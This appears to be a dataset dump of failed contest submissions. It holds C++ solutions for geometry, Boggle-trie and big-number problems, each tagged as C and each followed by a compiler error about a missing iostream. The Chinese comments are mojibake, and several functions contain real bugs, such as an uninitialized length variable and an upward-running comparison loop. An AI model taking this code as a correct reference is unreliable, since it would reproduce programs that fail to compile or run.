dblcmp(cross(A,B,D)) <= 0); } /*豎?逶エ郤ソAB 縲∫コソ谿オCD 逧?コ、轤ケ逧?ィェ蝮先??郁凶譌?コ、轤ケ霑泌屓雍滓裏遨キ??/ double intersection(node A,node B,node C,node D) { double area1=cross(A,B,C); double area2=cross(A,B,D); int c=dblcmp(area1); int d=dblcmp(area2); if(c*d<0) //CD蝨ィAB逧?ク、萓ァ?瑚ァ?激逶ク莠、 return (area2*C.x - area1*D.x)/(area2-area1); //鮟台ケヲP357莠、轤ケ隶。邂怜?蠑? if(c*d==0) //CD逧??荳ュ荳?クェ遶ッ轤ケ蝨ィAB荳奇シ御ク崎ァ?激逶ク莠、 if(c==0) return C.x;//C蝨ィAB荳?霑泌屓AB荳擦D髱櫁ァ?激逶ク莠、譌カ逧?コ、轤ケC逧?ィェ蝮先? else return D.x;//D蝨ィAB荳?霑泌屓AB荳擦D髱櫁ァ?激逶ク莠、譌カ逧?コ、轤ケD逧?ィェ蝮先? return -inf; //CD蝨ィAB蜷御セァ?梧裏莠、轤ケ,霑泌屓 雍滓裏遨キ } //雋御シシ譛蛾琉鬚假シ?Point line_seg_cross(Point a,Point b,Point c,Point d) { if(dblcmp(cross(a-b,c-d))==0) return Point(inf,inf); double area1=cross(b-a,c-a), area2=cross(b-a,d-a); int s1=dblcmp(area1),s2=dblcmp(area2); double x,y; if(s1*s2<0) { x=(area2*c.x - area1*d.x)/(area2-area1); double dx=d.x-c.x,dy=d.y-c.y; y=c.y+(x-c.x)/dx*dy; return Point(x,y); } else if(s1*s2==0) { if(s1==0) { return c; } else { return d; } } return Point(inf,inf); } /*蛻、譁ュ郤ソ谿オAB縲∫コソ谿オCD譏ッ蜷ヲ逶ク莠、,闍・隗?激逶ク莠、?梧アゆコ、轤ケ???会シ瑚ソ泌屓1?瑚凶荳崎ァ?激逶ク莠、?瑚ソ泌屓2?瑚凶荳咲嶌莠、?瑚ソ泌屓0 */ int seg_crosscheck(node A,node B,node C,node D,node &p) { double s1,s2,s3,s4; int d1,d2,d3,d4; d1=dblcmp(s1=cross(A,B,C)); d2=dblcmp(s2=cross(A,B,D)); d3=dblcmp(s3=cross(C,D,A)); d4=dblcmp(s4=cross(C,D,B)); if((d1^d2)==-2&&(d3^d4)==-2) { p.x=(C.x*s2-D.x*s1)/(s2-s1); p.y=(C.y*s2-D.y*s1)/(s2-s1); return 1; } if(d1==0&&betweencmp(C,A,B)<=0|| d2==0&&betweencmp(D,A,B)<=0|| d3==0&&betweencmp(A,C,D)<=0|| d4==0&&betweencmp(B,C,D)<=0) return 2; return 0; } //豎らせ蛻ー蝨?噪蛻?せ //豎ょ?蜷主庄逶エ謗・豎ょ?郤ソ //轤ケ蝨ィ蝨??霑泌屓0?悟怕荳願ソ泌屓1荳守せ譛ャ霄ォ?悟凄蛻呵ソ泌屓2荳惹ク、荳ェ蛻?せ int tgp(Point c,double r,Point p,Point &u,Point &v) { int cv = sgn(dis(p, c)-r); if (cv < 0) return 0; if(cv==0) {u=p;return 1;} double a=pa(p,c); double da=acos(r/dis(p,c)); u.x=c.x+r*cos(a+da); u.y=c.y+r*sin(a+da); v.x=c.x+r*cos(a-da); v.y=c.y+r*sin(a-da); return 2; } //蝨?ク雁シァab逧?柄蠎ヲ?亥ー丈コ?80蠎ヲ逧?怕蠢?ァ定ァ貞コヲテ怜濠蠕?シ?double solve(Point u,Point v,Point o,double r) { int i,j,k; double d=atan2(fabs(cross(u-o,v-o)) , dot(u-o,v-o)); d=fabs(d); //蝨?ソ?ァ? return r*d; } //荳、蝨?、門?蛻?コソ //霎灘?荳、蝨?ソ?柱蜊雁セ? //霑泌屓荳、逶エ郤ソs蜥荊 //s蜥荊逧?蟇ケ蠎盃荳雁?轤ケ?恵蟇ケ蠎牌荳雁?轤ケ void cotgl(Point u,Point v,double ru,double rv,Point &sa,Point &sb,Point &ta,Point &tb) { double dr=ru-rv; double d=dis(u,v); double a=acos(dr/d); Point dv=v-u; sa=u+rotate(dv,a)*(ru/d); sb=v+rotate(dv,a)*(rv/d); ta=u+rotate(dv,-a)*(ru/d); tb=v+rotate(dv,-a)*(rv/d); } int main() { int n,i,k,j; while(cin>>n) { if(!n) break; node *up=new node[n+1]; node *down=new node[n+1]; double max_x=-inf; for(i=0;i<n;i++) { scanf("%lf%lf",&up[i].x,&up[i].y); down[i].x=up[i].x; down[i].y=up[i].y-1; } bool flag=0; for(i=0;i<n;i++) { for(j=0;j<n;j++) if(i!=j) { for(k=0;k<n;k++) if(!line_seg_crosscheck(up[i],down[j],up[k],down[k])) break; if(k>=n) { flag=1; break; } else if(k>max(i,j)) { double temp=intersection(up[i],down[j],up[k],up[k-1]); if(max_x < temp) //L荳守ャャk-1闃らョ。蟄千噪荳顔ョ。螢∫嶌莠、 max_x=temp; temp=intersection(up[i],down[j],down[k],down[k-1]); if(max_x < temp) //L荳守ャャk-1闃らョ。蟄千噪荳顔ョ。螢∫嶌莠、 max_x=temp; } } if(flag) break; } if(flag) printf("Through all the pipe.\n"); else printf("%.2f\n",max_x); delete up,down; } return 0; }
main.c:1:9: fatal error: iostream: No such file or directory 1 | #include<iostream> | ^~~~~~~~~~ compilation terminated.
s156226579
p00000
C
#include <iostream> #include <cstdio> #include <cstdlib> #include <algorithm> #include <map> #include <cstring> #include <set> using namespace std; #define MAXN 50 #define MAXM 2500000 #define MP(x,y) make_pair(x,y) #define FI first #define SE second struct _node { bool hav; int to[26]; }no[MAXM]; const int dir[8][2]={{0,1},{1,0},{-1,0},{0,-1},{1,1},{1,-1},{-1,1},{-1,-1}}; const int score[]={0,0 ,0,1,1,2,3,5,11}; int ans,mlen,cnt,root,top=2; char str[30],best[30]; bool vi[MAXN][MAXN],vno[MAXM]; char bog[MAXN][MAXN]; void add(int now,int h) { if(!str[h]) { no[now].hav=1; return ; } if(no[now].to[str[h]-'A']==0) no[now].to[str[h]-'A']=top++; add(no[now].to[str[h]-'A'],h+1); } void dfs(int x,int y,int h,int pos) { str[h]=bog[x][y]; pos=no[pos].to[bog[x][y]-'A']; if(pos==0) return ; if(no[pos].hav) { if(!vno[pos]) { ++cnt; vno[pos]=1; ans+=score[h+1]; str[h+1]='\0'; if(h+1>mlen||(h+1==mlen&&strcmp(str,best)<0)) { mlen=h+1; strcpy(best,str); } } } for(int i=0;i<8;++i) { int tx=x+dir[i][0],ty=y+dir[i][1]; if(!vi[tx][ty]) { vi[tx][ty]=1; dfs(tx,ty,h+1,pos); vi[tx][ty]=0; } } } int main() { //freopen("/home/hg/譁?。」/input","r",stdin); int w,b; scanf("%d",&w); root=1; for(int i=0;i<w;++i) { scanf("%s",str); add(root,0); } scanf("%d",&b); while(b--) { ans=0,cnt=0,mlen=0; strcpy(best,""); for(int i=0;i<=5;++i) for(int j=0;j<=5;++j) vi[i][j]=1; memset(vno,0,sizeof(vno)); for(int i=1;i<=4;++i) for(int j=1;j<=4;++j) vi[i][j]=0; for(int i=1;i<=4;++i) scanf("%s",&bog[i][1]); for(int i=1;i<=4;++i) for(int j=1;j<=4;++j) { vi[i][j]=1; dfs(i,j,0,root); vi[i][j]=0; } printf("%d %s %d\n",ans,best,cnt); } return 0; }
main.c:1:10: fatal error: iostream: No such file or directory 1 | #include <iostream> | ^~~~~~~~~~ compilation terminated.
s150244970
p00000
C
#include <iostream> #include <cstdio> #include <algorithm> #include <cstring> #define N 1001 #define L 502 using namespace std; struct node{ short num[L]; short len; } seg[N]; short tem[L+1],tem_len; void add(node x, node y){ int l; memset(tem,0,sizeof(0)); if (l > x.len) l = x.len; else l = y.len; tem_len = l; for (int i = 0; i < l; i++){ tem[i+1] = (tem[i] + x.num[i] + y.num[i]) / 10; tem[i] = (tem[i] + x.num[i] + y.num[i] ) % 10; } if (tem[l] != 0) tem_len++; } bool cmp(node y){ if (tem_len != y.len) return tem_len > y.len; for (int i = tem_len-1; i >= 0; i++) if (tem[i] != y.num[i]) return tem[i] > y.num[i]; return false; } int main(){ int i,j,k,l,n; cin >> n; getchar(); char str[501]; for (i = 1; i <= n; i++){ gets(str); l = strlen(str); seg[i].len = l; for (j = 0; j < l; j++) seg[i].num[j] = str[l-j-1] - '0'; } for (j = 1; j <= n; j++){ for (i = seg[j].len-1; i >=0; i--) printf("%d",seg[j].num[i]); printf("\n");} for (i = 1; i <= n-2; i++) for (j = i+1; j <= n-1; j++) for (k = j+1; k <= n; k++){ add(seg[i],seg[j]); if (!cmp(seg[k])) break; add(seg[i],seg[k]); if (!cmp(seg[j])) break; add(seg[j],seg[k]); if (!cmp(seg[i])) break; for (l = seg[i].len-1; l >=0; l--) printf("%d",seg[i].num[l]); printf(" "); for (l = seg[j].len-1; l >=0; l--) printf("%d",seg[j].num[l]); printf(" "); for (l = seg[k].len-1; l >=0; l--) printf("%d",seg[k].num[l]); printf(" "); return 0; } printf("0 0 0\n"); return 0; }
main.c:1:10: fatal error: iostream: No such file or directory 1 | #include <iostream> | ^~~~~~~~~~ compilation terminated.